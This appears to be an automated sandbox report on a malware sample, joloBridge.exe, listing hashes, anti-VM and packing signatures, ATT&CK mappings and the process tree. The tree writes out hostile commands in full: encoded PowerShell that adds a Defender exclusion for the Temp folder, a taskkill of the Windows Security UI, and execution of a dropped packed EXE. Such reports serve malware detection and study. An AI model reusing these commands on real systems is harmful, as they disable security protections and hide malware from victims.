1fb0b048fb1fd76bdc7991a522e3e10cb5b6136a26faf7b1bdab9b870e90a0b2

Analysis

max time kernel
149s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
joloBridge.exe
Size 180.0MB
Sample260602-wllcksds3m
SHA256 1fb0b048fb1fd76bdc7991a522e3e10cb5b6136a26faf7b1bdab9b870e90a0b2
MD5 ce368a5e5dd3b58d55e70f3fc515e907
SHA1 1109fda0aa06a7469cd6db2acf371434b76a036a
SHA512 2ab9afddd777bec192fb1891378f4560c6425acf759dc04fa635865a95552b0b6673e93abda40096e1f8c872827fe74df775d9624497f2f7446045797b8ff7ff
SSDEEP 1572864:IH0f0gqxb0WBFh/LVO9dyKcRmAswCXj5EtV4ga5h0q2ZOADpAyK5/Y3P8kbVr+qI:9sok+hK7
TLSH
T103988C03F39A50D9E01DD1B58B9B9633EAB1B8854324A2DF27540B512F77EE86B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3df7befa6947c59e.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3df7befa6947c59e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3df7befa6947c59e.exe

Executes dropped EXE 1 IoCs

pid	Process
1216	3df7befa6947c59e.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral7/files/0x001e00000002b54d-45.dat	themida
behavioral7/memory/1216-49-0x0000000140000000-0x00000001407AA000-memory.dmp	themida
behavioral7/memory/1216-51-0x0000000140000000-0x00000001407AA000-memory.dmp	themida
behavioral7/memory/1216-50-0x0000000140000000-0x00000001407AA000-memory.dmp	themida
behavioral7/memory/1216-53-0x0000000140000000-0x00000001407AA000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3df7befa6947c59e.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	joloBridge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	joloBridge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	joloBridge.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2500	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5672	powershell.exe
5672	powershell.exe
4184	powershell.exe
4184	powershell.exe
1216	3df7befa6947c59e.exe
1216	3df7befa6947c59e.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeIncreaseQuotaPrivilege	5672	powershell.exe
Token: SeSecurityPrivilege	5672	powershell.exe
Token: SeTakeOwnershipPrivilege	5672	powershell.exe
Token: SeLoadDriverPrivilege	5672	powershell.exe
Token: SeSystemProfilePrivilege	5672	powershell.exe
Token: SeSystemtimePrivilege	5672	powershell.exe
Token: SeProfSingleProcessPrivilege	5672	powershell.exe
Token: SeIncBasePriorityPrivilege	5672	powershell.exe
Token: SeCreatePagefilePrivilege	5672	powershell.exe
Token: SeBackupPrivilege	5672	powershell.exe
Token: SeRestorePrivilege	5672	powershell.exe
Token: SeShutdownPrivilege	5672	powershell.exe
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeSystemEnvironmentPrivilege	5672	powershell.exe
Token: SeRemoteShutdownPrivilege	5672	powershell.exe
Token: SeUndockPrivilege	5672	powershell.exe
Token: SeManageVolumePrivilege	5672	powershell.exe
Token: 33	5672	powershell.exe
Token: 34	5672	powershell.exe
Token: 35	5672	powershell.exe
Token: 36	5672	powershell.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeDebugPrivilege	2500	taskkill.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe
Token: SeShutdownPrivilege	5832	joloBridge.exe
Token: SeCreatePagefilePrivilege	5832	joloBridge.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5832 wrote to memory of 1084	5832	joloBridge.exe	80
PID 5832 wrote to memory of 1084	5832	joloBridge.exe	80
PID 5832 wrote to memory of 5088	5832	joloBridge.exe	81
PID 5832 wrote to memory of 2116	5832	joloBridge.exe	82
PID 2116 wrote to memory of 5672	2116	cmd.exe	84
PID 5832 wrote to memory of 4692	5832	joloBridge.exe	86
PID 4692 wrote to memory of 5348	4692	cmd.exe	88
PID 5348 wrote to memory of 1412	5348	net.exe	89
PID 5832 wrote to memory of 3896	5832	joloBridge.exe	90
PID 3896 wrote to memory of 2500	3896	cmd.exe	92
PID 5832 wrote to memory of 4184	5832	joloBridge.exe	93
PID 5832 wrote to memory of 1216	5832	joloBridge.exe	95

C:\Users\Admin\AppData\Local\Temp\joloBridge.exe
"C:\Users\Admin\AppData\Local\Temp\joloBridge.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5832
- C:\Users\Admin\AppData\Local\Temp\joloBridge.exe
  "C:\Users\Admin\AppData\Local\Temp\joloBridge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\jolobridge-bgbc" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1748,i,15901843806560046381,7737646228625202523,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1740 /prefetch:2
  2⤵
  PID:1084
- C:\Users\Admin\AppData\Local\Temp\joloBridge.exe
  "C:\Users\Admin\AppData\Local\Temp\joloBridge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\jolobridge-bgbc" --field-trial-handle=1932,i,15901843806560046381,7737646228625202523,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1824 /prefetch:11
  2⤵
  PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -EncodedCommand dAByAHkAIAB7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAH0AIABjAGEAdABjAGgAIAB7AH0A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4184
- C:\Users\Admin\AppData\Local\Temp\3df7befa6947c59e.exe
  C:\Users\Admin\AppData\Local\Temp\3df7befa6947c59e.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  PID:1216

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7f8f97ee615f534fb3a3d4ab1d554cd33b788f10c559754714d1e7ce0726b362
MD5 a71e351e0584693771a3e1ab5ed855ee
SHA1 5bbadb2db8240a293fce7bf6a965634703e51aa4
SHA512 95148933c9fc727c3f88c9b5a0bd489f660bc0b24b3cb8b8e6e7ffbec937810d473cf57ff0c8a34075ce7f822f0c007be8893daa409738cd4782ab526bb5a185
TLSH
T18B71EE323375B0D4C9663F07192C1AC463BF4396EA58AF4CB658521ED92710BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 527583dacd97ac0330fcd30a301b422dc2b9894b292a38188ade6c96df764667
MD5 7a0e7ce4c6a682fdcfc2d5e11cfd14d8
SHA1 82fd69f2e9e6e3ba7865da5159a9bb74820585cd
SHA512 f74c1c0f1ec546836f8d34d98895a028518eefd8eecc4e011448b59c0a61ef1bbc661488675097965a1806b28e272680d6699d0767c777a4280e910c47c27381
TLSH
T1F0218B33B79DC165C8D9117A20CCAD00B275C3C744DECF8B2A84C229A97F5DADB945E4
MD5 SHA1 SHA512 TLSH

Submit Download

3df7befa6947c59e.exe

Path C:\Users\Admin\AppData\Local\Temp\3df7befa6947c59e.exe
Size 3.2MB
SHA256 a189adbb13faf90306dd43c503ee41828a2f2fd52e43bd81b4549055951142f8
MD5 26a223cff7a2ee54425705f846d5710f
SHA1 7fc2ec33e5d818f9ea224f18473c997aec139ce9
SHA512 d209ef91c478dc377dc036a8f3aebe28ae603fc1e71942dead8edd9c77672b97c0d67233557e03da8d6e447b93e4c5145794d182966403ae4f7ac2dd228a8900
SSDEEP 98304:Ocu6NW5mUpsEnOfO9wODQvHlWfHjqE8d:Q6cDZwOyO0vFEDqE8
TLSH
T1C4F53347829A2337C6700E3D2D06CBA9863977EC6314730F7C5664709BAE795F60EE1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_0q1hvgn0.gbb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0q1hvgn0.gbb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1216-53-0x0000000140000000-0x00000001407AA000-memory.dmp

Download

memory/1216-50-0x0000000140000000-0x00000001407AA000-memory.dmp

Download

memory/1216-51-0x0000000140000000-0x00000001407AA000-memory.dmp

Download

memory/1216-49-0x0000000140000000-0x00000001407AA000-memory.dmp

Download

memory/4184-37-0x000001B5309D0000-0x000001B5309DA000-memory.dmp

Download

memory/4184-36-0x000001B5309F0000-0x000001B530A0C000-memory.dmp

Download

memory/4184-38-0x000001B530A30000-0x000001B530A4A000-memory.dmp

Download

memory/4184-39-0x000001B5309E0000-0x000001B5309E8000-memory.dmp

Download

memory/4184-40-0x000001B530A10000-0x000001B530A16000-memory.dmp

Download

memory/4184-41-0x000001B530A20000-0x000001B530A2A000-memory.dmp

Download

memory/5672-7-0x0000015EDE970000-0x0000015EDE992000-memory.dmp

Download

memory/5672-19-0x0000015EDEFA0000-0x0000015EDEFC4000-memory.dmp

Download

memory/5672-18-0x0000015EDEFA0000-0x0000015EDEFCA000-memory.dmp

Download

memory/5672-17-0x0000015EDEB00000-0x0000015EDEB0A000-memory.dmp

Download

memory/5672-16-0x0000015EDEA20000-0x0000015EDEAD3000-memory.dmp

Download

memory/5672-15-0x0000015EDEA00000-0x0000015EDEA1C000-memory.dmp

Download